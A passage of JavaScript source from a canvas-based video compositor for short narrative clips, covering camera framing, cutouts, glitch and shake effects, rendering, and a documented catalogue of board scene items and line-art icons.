    const plate = vp > 0 && VN.plate ? R_imgs.get('/p/frames/plate.jpg') : null, cutI = plate && R_imgs.get(cutURL(t)), cut0 = cutI && R_imgs.get(cutURL(VN.from));
    if (cut0) {   // vanish.plate: the room stays, only he turns to dust
      const clipP = FRm ? rectPath(FRm) : edgePath(seam, true), dw = CW * s, dh = CHh * s;
      if (FRm) framePlate(FRm, fade);
      ctx.save(); ctx.globalAlpha = fade; ctx.clip(clipP); ctx.drawImage(img, x0, y0, dw, dh); ctx.drawImage(roomFill(cutI, plate), x0, y0, dw, dh); ctx.restore();
      if (vp < 1) {
        vcx.setTransform(1, 0, 0, 1, 0, 0); vcx.clearRect(0, 0, W, H); vcx.save(); vcx.clip(clipP); vcx.drawImage(cutI, x0, y0, dw, dh); vcx.restore();
        const [a, b, e, f] = personBox(cut0), pad = 36, bx = Math.max(0, x0 + a * dw - pad), by = Math.max(FRm ? FRm.y : seam, y0 + b * dh - pad);
        ctx.save(); ctx.globalAlpha = fade; dust(vp, bx, by, Math.min(W, x0 + e * dw + pad) - bx, Math.min(H, y0 + f * dh + pad) - by); ctx.restore();
      }
      if (FRm) frameEdge(FRm, fade);
      return;
    }
    if (vp >= 1) return;
    if (FRm) framePlate(FRm, fade * (1 - vp));
    if (vp > 0) {   // vanish: the clipped camera goes to a layer that dust() breaks up
      const clipP = FRm ? rectPath(FRm) : edgePath(seam, true), top = FRm ? FRm.y : seam;
      vcx.setTransform(1, 0, 0, 1, 0, 0); vcx.clearRect(0, 0, W, H); vcx.save(); vcx.clip(clipP); vcx.drawImage(img, x0, y0, CW * s, CHh * s); vcx.restore();
      ctx.save(); ctx.globalAlpha = fade; dust(vp, FRm ? FRm.x : 0, top, FRm ? FRm.w : W, FRm ? FRm.h : H - top); ctx.restore();
      if (FRm) frameEdge(FRm, fade * (1 - vp));
      return;
    }
    ctx.save(); ctx.globalAlpha = fade; ctx.clip(FRm ? rectPath(FRm) : edgePath(seam, true)); ctx.drawImage(img, x0, y0, CW * s, CHh * s);
    const g = pauseP(t);
    if (g > .002) { ctx.save(); ctx.globalAlpha = g; ctx.filter = 'grayscale(1) contrast(.9) brightness(1.04)'; ctx.drawImage(img, x0, y0, CW * s, CHh * s); ctx.restore(); }
    if (camCutOn(t) && t >= layers[0].at) backdrops(t, T, img, cutImg);
    ctx.restore();
    if (FRm) return frameEdge(FRm, fade);
    // paper casts a soft shadow onto the video, plus a crisp deckle edge
    if (seam > 2) {
      ctx.save(); ctx.globalAlpha = fade; ctx.clip(edgePath(seam, true));
      const dp = K.depth(), sh = 44 * (.5 + .5 * dp), g = ctx.createLinearGradient(0, seam, 0, seam + sh);
      g.addColorStop(0, `rgba(25,18,6,${Math.min(.6, .30 * dp).toFixed(3)})`); g.addColorStop(1, 'rgba(25,18,6,0)');
      ctx.fillStyle = g; ctx.fillRect(0, seam - 6, W, sh + 8); ctx.restore();
      ctx.save(); ctx.globalAlpha = fade; ctx.strokeStyle = 'rgba(60,45,20,.16)'; ctx.lineWidth = 1.5; ctx.stroke(edgeLine(seam)); ctx.restore();
    }
  }

  // ---- card camera: the take cover-fits the card, eyes at `bias` of its height, zoom.keys still punch in
  const cardFit = t => {
    const { x, y, w, h } = CARD, s = Math.max(w / CW, h / CHh) * CARD.zoom * zoomAt(t);
    return { s, x0: clamp(x + w / 2 - eyes[0] * s, x + w - CW * s, x), y0: clamp(y + h * CARD.bias - eyes[1] * s, y + h - CHh * s, y) };
  };
  function cardCamera(img, t) {
    const { x, y, w, h, r } = CARD, card = new Path2D(); card.roundRect(x, y, w, h, r);
    K.shadow(ctx, x, y, w, h, r, 44, .13, 18); K.shadow(ctx, x, y, w, h, r, 5, .06, 2);
    ctx.save(); ctx.clip(card); ctx.fillStyle = '#1b1f27'; ctx.fillRect(x, y, w, h);
    if (img) {
      const T = cardFit(t); ctx.drawImage(img, T.x0, T.y0, CW * T.s, CHh * T.s);
      const g = pauseP(t);
      if (g > .002) { ctx.save(); ctx.globalAlpha = g; ctx.filter = 'grayscale(1) contrast(.9) brightness(1.04)'; ctx.drawImage(img, T.x0, T.y0, CW * T.s, CHh * T.s); ctx.restore(); }
    }
    ctx.restore();
    ctx.save(); ctx.strokeStyle = 'rgba(255,255,255,.5)'; ctx.lineWidth = 3; ctx.stroke(card);
    ctx.strokeStyle = `rgba(${K.edgeRGB()},.10)`; ctx.lineWidth = 1; ctx.beginPath(); ctx.roundRect(x - .5, y - .5, w + 1, h + 1, r + .5); ctx.stroke(); ctx.restore();
  }
  // ---- header (spec.header {brand, mark, tagline, x, y, size}): a heavy italic wordmark top left (mark in the accent),
  // a gray tagline top right. Fixed on every frame of a card layout.
  const HDR = spec.header;
  function header() {
    if (!HDR || (!HDR.brand && !HDR.mark && !HDR.tagline)) return;
    const x = HDR.x ?? 62, y = HDR.y ?? 120, sz = HDR.size ?? 42;
    ctx.save(); ctx.font = `italic 900 ${sz}px ${K.F.sans}`; ctx.letterSpacing = '-1.2px'; ctx.textAlign = 'left'; ctx.textBaseline = 'alphabetic';
    ctx.fillStyle = C.ink; ctx.fillText(HDR.brand || '', x, y);
    if (HDR.mark) { ctx.fillStyle = C.blue; ctx.fillText(HDR.mark, x + (HDR.brand ? ctx.measureText(HDR.brand).width + 1.2 : 0), y); }
    ctx.restore();
    if (HDR.tagline) K.text(ctx, HDR.tagline, W - x, y - 6, { size: HDR.tagSize ?? 27, weight: 500, ls: -.2, color: C.ink3, align: 'right' });
  }

  // ---- cutout: the speaker without background, standing on the paper (frames/cutout, made by matte.swift at prepare)
  // {from, to, scale: 1.15, x: 540, bottom: 1920}. Pair it with a seam of 1920 so the whole screen is paper.
  // {from, to, ride: true, scale: 1.3}: over a split, the camera is bottom-aligned at `scale` and he is drawn unclipped,
  // so his head pokes up in front of the board above the seam; in and out on the frame.
  function cutout(img, t) {
    const cut = stdCuts.find(c => onC(c, t));
    if (!img || !cut) return;
    const pin = cut.from <= 0 || cut.hard ? 1 : S(t - cut.from, 12);
    if (cut.ride) {   // ride: he stays in the camera framing, unclipped, so his head pokes up over the board above the seam
      if (t < cut.from || t >= cut.to) return;
      const { s, x0, y0 } = camT(t, seamAt(t));
      ctx.drawImage(img, x0, y0, CW * s, CHh * s); return;
    }
    if (cut.ho != null && t >= cut.ho - .05) {   // hand-off: ride the camera transform, drop the shadow, fade once aligned
      const p = S(t - cut.ho, 9), a = 1 - S(t - cut.ho - .55, 16), { s, x0, y0 } = camT(t, seamAt(t));
      if (a <= .002) return;
      ctx.save(); ctx.globalAlpha = a;
      K.drop(ctx, .22 * (1 - p), 36, 10);
      ctx.drawImage(img, x0, y0, CW * s, CHh * s); ctx.restore(); return;
    }
    const pout = cut.hard ? +(t >= cut.to) : K.leave(t - cut.to), a = Math.min(1, pin * 1.4) * (1 - pout);
    if (a <= .002) return;
    const s = cut.scale || 1.15, w = img.width * s, h = img.height * s;
    const x = (cut.x ?? W / 2) - eyes[0] * s, y = (cut.bottom ?? H) - h + (1 - pin) * 60 + pout * 60;
    ctx.save(); ctx.globalAlpha = a;
    K.drop(ctx, .22, 36, 10);
    ctx.drawImage(img, x, y, w, h); ctx.restore();
  }

  // ---- frame
  // one whole layout at `seam`: paper BG, stage, camera (cam: false leaves bare paper), cutout, orbit, 'over' scenes.
  // Captions are drawn once on top, by render().
  function frame(t, seam, imgs, { cam = true } = {}) {
    const ref = stageRef(t), cutImg = imgs.get(cutURL(t));
    const R = { ctx, t, spec, tl, cam: imgs.get(camURL(t)), frame: (id, ct) => imgs.get(mediaURL(id, ct)) || null, media: id => frames.media[id], img: u => imgs.get(u) || null, U, camT, camFit: sm => camFit(t, sm), camEdge: edgePath, CW, CHh, pause: pz, pauseP: pauseP(t), allChunks, seam, seamRef: ref ?? seam };
    ctx.drawImage(BG, 0, 0);
    if (CARD) {   // card layout: stage above the card, header, the camera card, then 'over' scenes
      ctx.save(); ctx.beginPath(); ctx.rect(0, 0, W, CARD.y - 6); ctx.clip();
      for (const a of actors) drawActor(R, a, t);
      for (const s of scenes) if (s.layer === 'stage' && t > s.from - 1 && t < (s.to ?? 1e9) + 1) SCENES[s.type]?.draw(R, s, t);
      ctx.restore();
      header();
      if (cam) cardCamera(R.cam, t);
      for (const s of scenes) if (s.layer === 'over' && t > s.from - 1 && t < (s.to ?? 1e9) + 1) SCENES[s.type]?.draw(R, s, t);
      return;
    }
    if (seam > 4) {
      ctx.save(); if (FR) { ctx.beginPath(); ctx.rect(0, 0, W, camRect(seam).y); ctx.clip(); } else ctx.clip(edgePath(seam, false)); if (ref != null) ctx.translate(0, Math.min(0, seam - ref));
      for (const a of actors) drawActor(R, a, t);
      for (const s of scenes) if (s.layer === 'stage' && t > s.from - 1 && t < (s.to ?? 1e9) + 1) SCENES[s.type]?.draw(R, s, t);
      ctx.restore();
    }
    if (cam) {
      camera(R.cam, t, seam, cut && cutImg);
      if (stdCuts.length) cutout(cutImg, t);
      orbit(t, seam, cutImg);
    }
    for (const s of scenes) if (s.layer === 'over' && t > s.from - 1 && t < (s.to ?? 1e9) + 1) SCENES[s.type]?.draw(R, s, t);
  }
  // quick fade + settle in (a cut that breathes), slow push while it plays, quick fade out
  function fullBroll(t, imgs) {
    for (const b of brolls) {
      if (!brollOn(b, t)) continue;
      const img = imgs.get(mediaURL(b.media, Math.max(0, (b.offset || 0) + t - b.from)));
      const hard = b.hard ?? HARD, pin = hard ? +(t >= b.from) : S(t - b.from, 22), a = brollA(b, t);
      if (!img || a <= .002) continue;
      const k = 1 + .035 * (1 - pin) + (b.zoom ?? .05) * clamp((t - b.from) / Math.max(1, b.to - b.from));
      ctx.save(); ctx.globalAlpha = a; K.cover(ctx, img, W / 2 - W * k / 2, H / 2 - H * k / 2, W * k, H * k, 0, b.focus || [.5, .5]); ctx.restore();
    }
  }
  // spec.glitch {keys: [[t, dur: .4, amp: 1]]}: a digital glitch of the whole frame centred on t (under a zhhh transition):
  // an RGB split and torn horizontal bands slid sideways, re-rolled every 2 frames, strongest at t, gone by t +- dur / 2
  const GL = spec.glitch?.keys || [], hr = x => { const v = Math.sin(x * 127.1 + 311.7) * 43758.5453; return v - Math.floor(v); };
  let glA, glB, glC;
  function glitch(t) {
    let e = 0, seed = 0;
    GL.forEach(([k, dur = .4, amp = 1], i) => { const u = Math.abs(t - k) / (dur / 2); if (u < 1 && amp * (1 - u) ** .7 > e) { e = amp * (1 - u) ** .7; seed = i * 17.3; } });
    const f = Math.floor(t * FPS / 2) + seed;
    if (e < .03 || (e < .6 && hr(f * 3.3) < .25)) return;   // a few clean frames inside the burst, so it stutters
    const cw = canvas.width, ch = canvas.height, px = cw / W;
    const mk = () => { const c = document.createElement('canvas'); c.width = cw; c.height = ch; return c.getContext('2d'); };
    glA ??= mk(); glB ??= mk(); glC ??= mk();
    glA.drawImage(canvas, 0, 0);
    for (const [g, col] of [[glB, '#f00'], [glC, '#0ff']]) {
      g.globalCompositeOperation = 'source-over'; g.drawImage(glA.canvas, 0, 0);
      g.globalCompositeOperation = 'multiply'; g.fillStyle = col; g.fillRect(0, 0, cw, ch);
    }
    const sx = Math.round((10 + 26 * hr(f * 1.7)) * e * px), sy = Math.round((hr(f * 2.9) - .5) * 8 * e * px);
    ctx.save(); ctx.setTransform(1, 0, 0, 1, 0, 0); ctx.globalAlpha = 1; ctx.filter = 'none';
    ctx.globalCompositeOperation = 'source-over'; ctx.fillStyle = '#000'; ctx.fillRect(0, 0, cw, ch);
    ctx.drawImage(glB.canvas, sx, sy);
    ctx.globalCompositeOperation = 'lighter'; ctx.drawImage(glC.canvas, -sx, -sy);
    ctx.globalCompositeOperation = 'source-over';
    glA.drawImage(canvas, 0, 0);
    const n = 2 + Math.round(6 * e * hr(f * 5.1 + 2));
    for (let j = 0; j < n; j++) {
      const y = Math.floor(hr(f * 7.3 + j * 9.1) * ch), h = Math.ceil((8 + 150 * hr(f * 3.7 + j * 4.3) ** 2) * px), dx = Math.round((hr(f * 6.1 + j * 2.7) - .5) * 2 * 110 * e * px);
      ctx.drawImage(glA.canvas, 0, y, cw, h, dx, y, cw, h);
    }
    ctx.restore();
  }
  async function render(t) { await compose(t); if (GL.length) glitch(t); }
  async function compose(t) {
    const urls = needs(t); imgCap = Math.max(imgCap, urls.length * (AHEAD + 2) + 16);
    const w0 = performance.now(), imgs = new Map(await Promise.all(urls.map(async u => [u, await load(u)])));
    PERF.load += performance.now() - w0;
    for (let k = 1; k <= AHEAD; k++) needs(t + k / FPS).forEach(load);  // prefetch: AHEAD frames fetched and decoded in parallel
    R_imgs = imgs;
    ctx.setTransform(scale, 0, 0, scale, 0, 0);
    if (spec.shake?.keys) {   // spec.shake {keys: [[t, amp px, dur .5]]}: an impact shake of the whole frame, slightly zoomed so no edge shows
      let ox = 0, oy = 0, am = 0;
      spec.shake.keys.forEach(([k, amp = 24, dur = .5], i) => { const u = (t - k) / dur; if (u < 0 || u >= 1) return; const d = (1 - u) ** 2 * amp; am = Math.max(am, d);
        ox += d * (noise1(t * 34 + i * 7.7) - .5) * 2; oy += d * (noise1(t * 31 + i * 3.1 + 50) - .5) * 2; });
      if (am > .05) { const z = 1 + 2.4 * am / W; ctx.setTransform(scale * z, 0, 0, scale * z, scale * (W / 2 * (1 - z) + ox), scale * (H / 2 * (1 - z) + oy)); }
    }
    ctx.globalAlpha = 1; ctx.globalCompositeOperation = 'source-over'; ctx.filter = 'none';
    if (CARD) { frame(t, CARD.y, imgs); fullBroll(t, imgs); return captions(t, CARD.y); }
    const tr = trAt(t);
    if (!tr) { frame(t, seamAt(t), imgs); fullBroll(t, imgs); return captions(t, seamSmooth(t)); }
    // window: the paper stays still at the split seam, the camera card opens over it (margins and corners bulge mid-move)
    const sA = seamAt(t, { i: tr.i, p: 0 }), sB = seamAt(t, { i: tr.i, p: 1 }), p = tr.p, cam = imgs.get(camURL(t));
    const split = sA || sB, top = lerp(sA, sB, p), open = 1 - top / split, bump = Math.sin(Math.PI * p), m = 34 * bump, r = 56 * bump;
    frame(t, split, imgs, { cam: false });
    if (FR) {   // framed: the photo itself grows to full screen (and shrinks back), border and corners melting away
      const Rc = lerpRect(camRect(sA), camRect(sB), p), T = lerpT(camFit(t, sA), camFit(t, sB), p), o = 1 - Rc.y / camRect(split).y;
      ctx.fillStyle = `rgba(20,16,8,${(.22 * o).toFixed(3)})`; ctx.fillRect(0, 0, W, H);
      framePlate(Rc);
      ctx.save(); ctx.clip(rectPath(Rc)); if (cam) ctx.drawImage(cam, T.x0, T.y0, CW * T.s, CHh * T.s); ctx.restore();
      frameEdge(Rc); fullBroll(t, imgs);
      return captions(t, top, { from: sA, to: sB, p, camTop: top <= 2 ? -1e4 : Rc.y - Rc.b });
    }
    ctx.fillStyle = `rgba(20,16,8,${(.22 * open).toFixed(3)})`; ctx.fillRect(0, 0, W, H);
    const T = lerpT(camFit(t, sA), camFit(t, sB), p), card = new Path2D(); card.roundRect(m, top, W - 2 * m, H - top - m, r);
    ctx.save(); ctx.shadowColor = 'rgba(20,16,8,.34)'; ctx.shadowBlur = 44; ctx.shadowOffsetY = 12; ctx.fillStyle = '#2a241c'; ctx.fill(card); ctx.restore();
    ctx.save(); ctx.clip(card); if (cam) ctx.drawImage(cam, T.x0, T.y0, CW * T.s, CHh * T.s); ctx.restore();
    fullBroll(t, imgs);
    captions(t, top, { from: sA, to: sB, p, camTop: top <= 2 ? -1e4 : top });
  }

  // window.encodeStart / encodeUnit / encodeEnd: render and hardware-encode right here (lib/encode.js)
  installEncoder(canvas, render, PERF);
  window.framePNG = async t => { await render(t); return canvas.toDataURL('image/png').split(',')[1]; };   // lossless, for QC
  window.frameJPEG = async (t, q = .92) => { await render(t); return canvas.toDataURL('image/jpeg', q).split(',')[1]; };
  window.DUR = tl.duration;
  window.LIVE = { render, spec, tl, canvas, FPS };   // the live preview (lib/player.js) drives render(t) itself
  PERF_BOOT.ready = performance.now(); window.PERF_BOOT = PERF_BOOT;
  window.READY = true;
}

// Life scenes: a composable `board` for narrative / opinion shorts (first used by the "live IA" shorts).
// One scene, many small items, each with its own spoken `at`, so a beat is authored as data instead of a new scene.
//   {type: 'board', from, to, pre, layer, items: [{k, at, to, x, y, ...}]}
// Common item params: at (enter), to (exit), rise (px, default 40), dx (enter slide), posKeys [[t, [x, y]]],
// scaleKeys [[t, s]], rotKeys [[t, rad]], pop (enter scale, e.g. .6, springs to 1), spin (enter rotation in rad, settles to rot),
// dimAt (fade to 35% + desaturate to ink3), cut (in and out on the frame), still (never translates on enter/exit).
// Board: push (slow zoom over its life, e.g. .06, around pushAt [x, y]; 0 = off),
// outDx (exit slides sideways by outDx px instead of rising: a whip to the next board). Kinds:
//   text     {text, size 64, weight 800, color, align 'center', words: true (stagger), emph, emphAt, lh, maxW}
//   chip     {text, size 42, blue, dark, dot, dotColor (default the accent)}
//   nametag  {text, size 28, weight 600, liveSpans [[a, b]]}: paper name tag, (x, y) = bottom-left, accent while live
//   label    {text ('\n' = new line), size 90, bg 'blue' | 'pop' | 'ink' | hex, color, rot -.035, skew .2, caps true, align, border}   slanted thumbnail label box
//   stamp    {text, size 70, rot -.07, solid true}
//   counter  {value, fromValue 0, countFrom, countTo, size 200, prefix, suffix (blue, suffixColor 'ink' on a marker line), sep ' ', unit (small blue tail), decimals, decSep ',', clock (value in s shown m:ss, fixed digit slots)}
//   bar      {w, h 96, value, fromValue 0, fillFrom, fillTo, label, valueText, blue, dark}
//   bubble   {text, side 'me' | 'them', w 760, size 44, typeFrom, typeTo, name}
//   card     {w, h, r 36, elev 1, fill 'ink' | 'tint' | null}
//   line     {x2, y2, lw 8, color, dash, dur .45, head (arrow), bend (curve, e.g. .25)}   x/y = start, drawn on over `dur`
//   circle   {r, lw 6, color, dash, fill 'tint'}
//   dots     {cols, rows, gap 56, r 18, color 'ink3', groups: [{i0, n, at, color}]}
//   thumbs   {cols, rows, w 190, h 107, gap 18, stagger .05}
//   agents   {cols 5, rows 5, w 168, h 112, gap 16, stagger .03, workFrom, workTo}
//   diverge  {w 900, h 560, splitX .38, drawFrom, drawTo, upLabel, downLabel, meAt, meLabel}
//   check    {s 80, color}
//   logo     {logo: 'assets/logos/x.png', s 140, gray}   a real app icon, centered
//   (any item) strikeAt + strikeW: a hand-drawn strike across the item, centered on (x, y), drawn left to right in .35 s; strikeColor (default 'blue',
//   'pop' or 'ink' when the accent is a light yellow). A strike-only item (k 'text', text ' ') never rises in.
//   bar      also takes logo (real icon left of the label)
//   img      {img: 'assets/images/x.png', s 200 (max w), h (max h, default s), r (corner clip), frame (white print border px), shadow true}   contain, centered
//   shatter  {logo, s 260, breakAt, hit [x, y] (-1..1 of the icon, impact point), n 10 (rays), seed, tight}   a real logo that holds, then
//            breaks into glass shards at breakAt (outward, gravity, spin) with a blue shockwave and spark lines; tight: the
//            shards are only the icon's own pieces (no white glass wedges around it, for a colored flat paper)
//   screen   {img | imgKeys [[t, img]] (content swaps in place), w 900, h 620, r 30, viewKeys [[t, [cx, cy, zoom]]] (image px center, zoom 1 = fit width), viewW 7,
//            rings: [{at, to, rect: [x, y, w, h] image px, pad 10, dim true, dur .5}], arrows: [{at, to, tip: [x, y] image px, dx 160, dy -160, bend .18, label}]}
//            marks: [{at, rects|rect: [x, y, w, h] image px, dur .7, color, pad 8}] (highlighter swept over article text),
//            a real UI screenshot in a dark window; rings and arrows ride the zoom, arrows may start outside the window
//   glass    {w, h, r 34, tint .62, blur 22}   frosted panel over whatever is under it (camera), x/y = top-left
//   gauge    {r 170, value .9, sweepFrom, sweepTo, unit}   speedometer dial, needle + blue arc sweep with a motion trail
//   pixelate {img, w 300, h (from the image), r 26, sharpFrom, sharpTo, block 44}   blocks resolve to sharp, then a light sweep
//   render   {w 900, h 420, title, imgs: [frames], progFrom, progTo, prog 1, total (frames), elapsed (s)}   a render crawling:
//            dark window, film strip developing frame by frame, striped progress bar, "Frame n / total", m:ss timer
//   edit     {imgs: [clip frames], w 960, vh 150, markAt, cutAt, capsAt, fxAt, playFrom, playTo, steps: [{text, at}]}   a timeline that
//            edits itself: the silences between real clips get boxed (markAt) and close (cutAt), "Aa" caption pills drop on each
//            clip (capsAt), blue animation blocks with a sparkle land (fxAt), a playhead runs; steps = blue chips checking one by one
//   term     {w 960, h 640, size 52, title, logo, name 'Claude Code', sub, cmd, placeholder, focusAt, typeFrom, typeTo, suggest: [[name, desc]],
//            sendAt, out: [{text, at, dim}]}   a Claude Code terminal: the slash command types in the prompt box with its
//            autocomplete list, Enter moves it to the history and the output lines land one by one
//   yt       {img (thumbnail), title, channel, avatarImg, meta, dur, w 760}   a YouTube video card, centered
//   toggle   {label, onAt, size 40}   a settings switch that flips to blue at onAt, centered
//   icon     {name, s 1, color, accent, ...}  names: robot, tomb, person, brain, gamepad, laptop, phone, coins, sun,
//            crown, hourglass, play, msg, trash, card, cap, clock, bulb, rocket, chart, bug
import { C, D, W, clamp, lerp, seg, E, S, leave, track, sheet, shadow, text, measure, midBase, wrap, chip, checkIcon, hash, noise1, lift, gloss, groove, deepness, drop, logoFinish, zoomAt, famCss } from './kit.js';

const TAU = Math.PI * 2;
const PIX = typeof document !== 'undefined' ? document.createElement('canvas') : null;   // scratch canvas for pixelate
const hex = c => [1, 3, 5].map(i => parseInt(c.slice(i, i + 2), 16));
const mix = (a, b, p) => { const x = hex(a), y = hex(b); return `rgb(${x.map((v, i) => Math.round(lerp(v, y[i], clamp(p)))).join(',')})`; };
const col = c => (c && C[c]) || c || C.ink;
function alpha(ctx, a, fn) { if (a <= .002) return; ctx.save(); ctx.globalAlpha *= a; fn(); ctx.restore(); }

// ---------------------------------------------------------------- icons (line art, centered on 0,0, ~200 px at s = 1)
function stroke(ctx, c, lw) { ctx.strokeStyle = c; ctx.lineWidth = lw; ctx.lineCap = 'round'; ctx.lineJoin = 'round'; }
const ICONS = {
  robot(ctx, o, t) {
    const c = col(o.color), b = col(o.accent || 'blue'); stroke(ctx, c, 9);
    ctx.beginPath(); ctx.moveTo(0, -96); ctx.lineTo(0, -130); ctx.stroke();
    ctx.beginPath(); ctx.arc(0, -140, 12, 0, TAU); ctx.fillStyle = b; ctx.fill();
    ctx.beginPath(); ctx.roundRect(-110, -96, 220, 180, 46); ctx.fillStyle = C.sheet; ctx.fill(); ctx.stroke();
    ctx.beginPath(); ctx.roundRect(-128, -30, 18, 56, 8); ctx.roundRect(110, -30, 18, 56, 8); ctx.fillStyle = c; ctx.fill();
    const blink = o.blinkAt != null ? 1 - .9 * Math.sin(Math.PI * clamp((t - o.blinkAt) / .18)) : 1;
    for (const ex of [-46, 46]) { ctx.beginPath(); ctx.ellipse(ex, -18, 22, 22 * blink, 0, 0, TAU); ctx.fillStyle = b; ctx.fill(); }
    ctx.beginPath(); ctx.roundRect(-56, 32, 112, 26, 10); ctx.stroke();
    stroke(ctx, c, 5); for (const gx of [-28, 0, 28]) { ctx.beginPath(); ctx.moveTo(gx, 34); ctx.lineTo(gx, 56); ctx.stroke(); }
    if (o.reticleAt != null) {   // targeting reticle closing in
      const p = S(t - o.reticleAt, 9); if (p > .002) alpha(ctx, p, () => {
        const r = lerp(260, 170, p); stroke(ctx, b, 6);
        ctx.beginPath(); ctx.arc(0, -10, r, 0, TAU); ctx.stroke();
        for (let k = 0; k < 4; k++) { const a = k * TAU / 4; ctx.beginPath(); ctx.moveTo(Math.cos(a) * (r - 30), -10 + Math.sin(a) * (r - 30)); ctx.lineTo(Math.cos(a) * (r + 34), -10 + Math.sin(a) * (r + 34)); ctx.stroke(); }
      });
    }
  },
  tomb(ctx, o) {
    const c = col(o.color); stroke(ctx, c, 9);
    ctx.beginPath(); ctx.moveTo(-90, 100); ctx.lineTo(-90, -40); ctx.arc(0, -40, 90, Math.PI, 0); ctx.lineTo(90, 100); ctx.closePath();
    ctx.fillStyle = C.sheet; ctx.fill(); ctx.stroke();
    ctx.beginPath(); ctx.moveTo(-150, 100); ctx.lineTo(150, 100); ctx.stroke();
    text(ctx, o.label || 'FIN', 0, midBase(-6, 52), { size: 52, weight: 800, ls: 2, align: 'center', color: c });
    stroke(ctx, C.dim, 7); ctx.beginPath(); ctx.moveTo(-44, 52); ctx.lineTo(44, 52); ctx.stroke();
  },
  person(ctx, o) {
    const c = col(o.color); ctx.fillStyle = c;
    ctx.beginPath(); ctx.arc(0, -52, 46, 0, TAU); ctx.fill();
    ctx.beginPath(); ctx.moveTo(-86, 96); ctx.bezierCurveTo(-86, 12, -48, 6, 0, 6); ctx.bezierCurveTo(48, 6, 86, 12, 86, 96); ctx.closePath(); ctx.fill();
  },
  brain(ctx, o) {
    const c = col(o.color), b = col(o.accent || 'blue'); stroke(ctx, c, 9);
    ctx.beginPath();
    ctx.moveTo(0, -92); ctx.bezierCurveTo(-40, -118, -96, -100, -100, -56); ctx.bezierCurveTo(-140, -40, -134, 24, -100, 34);
    ctx.bezierCurveTo(-100, 80, -48, 96, -20, 76); ctx.bezierCurveTo(-10, 86, 10, 86, 20, 76); ctx.bezierCurveTo(48, 96, 100, 80, 100, 34);
    ctx.bezierCurveTo(134, 24, 140, -40, 100, -56); ctx.bezierCurveTo(96, -100, 40, -118, 0, -92); ctx.closePath();
    ctx.fillStyle = C.sheet; ctx.fill(); ctx.stroke();
    stroke(ctx, c, 6);
    ctx.beginPath(); ctx.moveTo(0, -92); ctx.lineTo(0, 78); ctx.stroke();
    for (const sg of [-1, 1]) { ctx.beginPath(); ctx.moveTo(sg * 18, -40); ctx.bezierCurveTo(sg * 60, -50, sg * 70, -10, sg * 40, 4); ctx.stroke(); ctx.beginPath(); ctx.moveTo(sg * 24, 40); ctx.bezierCurveTo(sg * 56, 30, sg * 80, 44, sg * 84, 10); ctx.stroke(); }
    if (o.fill != null) { ctx.save(); ctx.globalCompositeOperation = 'multiply'; ctx.fillStyle = 'rgba(37,142,255,.22)'; ctx.fillRect(-140, 90 - 200 * o.fill, 280, 200 * o.fill); ctx.restore(); void b; }
  },
  gamepad(ctx, o) {
    const c = col(o.color), b = col(o.accent || 'blue'); stroke(ctx, c, 9);
    ctx.beginPath(); ctx.moveTo(-60, -50); ctx.lineTo(60, -50); ctx.bezierCurveTo(130, -50, 150, 70, 110, 76); ctx.bezierCurveTo(80, 80, 66, 30, 40, 30);
    ctx.lineTo(-40, 30); ctx.bezierCurveTo(-66, 30, -80, 80, -110, 76); ctx.bezierCurveTo(-150, 70, -130, -50, -60, -50); ctx.closePath();
    ctx.fillStyle = C.sheet; ctx.fill(); ctx.stroke();
    stroke(ctx, c, 8); ctx.beginPath(); ctx.moveTo(-82, -10); ctx.lineTo(-42, -10); ctx.moveTo(-62, -30); ctx.lineTo(-62, 10); ctx.stroke();
    for (const [bx, by] of [[52, -22], [80, 2]]) { ctx.beginPath(); ctx.arc(bx, by, 11, 0, TAU); ctx.fillStyle = b; ctx.fill(); }
  },
  laptop(ctx, o, t) {
    const c = col(o.color), b = col(o.accent || 'blue'); stroke(ctx, c, 9);
    ctx.beginPath(); ctx.roundRect(-130, -110, 260, 170, 16); ctx.fillStyle = C.sheet; ctx.fill(); ctx.stroke();
    ctx.beginPath(); ctx.moveTo(-170, 84); ctx.lineTo(170, 84); ctx.lineTo(150, 60); ctx.lineTo(-150, 60); ctx.closePath(); ctx.fillStyle = C.sheet; ctx.fill(); ctx.stroke();
    if (o.cpuFrom != null) {   // CPU meter filling to red-line (ink), label
      const v = E.io(seg(t, o.cpuFrom, o.cpuTo ?? o.cpuFrom + 1.2));
      ctx.beginPath(); ctx.roundRect(-100, -20, 200, 30, 15); ctx.fillStyle = C.line; ctx.fill();
      ctx.beginPath(); ctx.roundRect(-100, -20, Math.max(30, 200 * v), 30, 15); ctx.fillStyle = v > .97 ? C.ink : b; ctx.fill();
      text(ctx, `CPU ${Math.round(v * 100)}%`, 0, -50, { size: 36, weight: 800, align: 'center', color: c });
    }
  },
  phone(ctx, o) {
    const c = col(o.color); stroke(ctx, c, 9);
    ctx.beginPath(); ctx.roundRect(-64, -120, 128, 240, 26); ctx.fillStyle = C.sheet; ctx.fill(); ctx.stroke();
    stroke(ctx, c, 7); ctx.beginPath(); ctx.moveTo(-18, -96); ctx.lineTo(18, -96); ctx.stroke();
  },
  coins(ctx, o) {
    const c = col(o.color), b = col(o.accent || 'blue'); stroke(ctx, c, 8);
    for (let i = 0; i < 4; i++) { const y = 60 - i * 34; ctx.beginPath(); ctx.ellipse(0, y, 96, 28, 0, 0, TAU); ctx.fillStyle = i === 3 ? b : C.sheet; ctx.fill(); ctx.stroke(); }
    text(ctx, o.label || '€', 0, midBase(-42, 40), { size: 40, weight: 800, align: 'center', color: C.white });
  },
  sun(ctx, o) {
    const c = col(o.color); stroke(ctx, c, 9);
    ctx.beginPath(); ctx.arc(0, 0, 56, 0, TAU); ctx.fillStyle = C.sheet; ctx.fill(); ctx.stroke();
    for (let i = 0; i < 8; i++) { const a = i * TAU / 8; ctx.beginPath(); ctx.moveTo(Math.cos(a) * 82, Math.sin(a) * 82); ctx.lineTo(Math.cos(a) * 110, Math.sin(a) * 110); ctx.stroke(); }
  },
  crown(ctx, o) {
    const c = col(o.color), b = col(o.accent || 'blue'); stroke(ctx, c, 9);
    ctx.beginPath(); ctx.moveTo(-110, 60); ctx.lineTo(-120, -50); ctx.lineTo(-56, 0); ctx.lineTo(0, -80); ctx.lineTo(56, 0); ctx.lineTo(120, -50); ctx.lineTo(110, 60); ctx.closePath();
    ctx.fillStyle = C.sheet; ctx.fill(); ctx.stroke();
    for (const [bx, by] of [[-120, -50], [0, -80], [120, -50]]) { ctx.beginPath(); ctx.arc(bx, by - 6, 13, 0, TAU); ctx.fillStyle = b; ctx.fill(); }
  },
  hourglass(ctx, o, t) {
    const c = col(o.color), b = col(o.accent || 'blue'); stroke(ctx, c, 9);
